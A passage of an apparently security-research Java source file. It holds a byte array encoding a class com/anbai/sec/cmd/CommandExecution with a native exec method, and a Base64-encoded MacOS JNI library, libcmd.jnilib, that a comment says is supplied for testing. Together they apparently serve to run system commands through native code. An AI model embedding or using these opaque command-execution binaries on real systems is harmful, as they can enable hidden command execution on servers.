            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试,其他系统请自行编译
    private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDwAAAAAAAFALAAAAAAAAsAoAAAAAAAAIDwAAAAAAABIPAAAAAAAAHA8AAAAAAAAmDwAAAAAAADoPAAAAAAAARA8AAAAAAABODwAAAAAAAFgPAAAAAAAAYg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA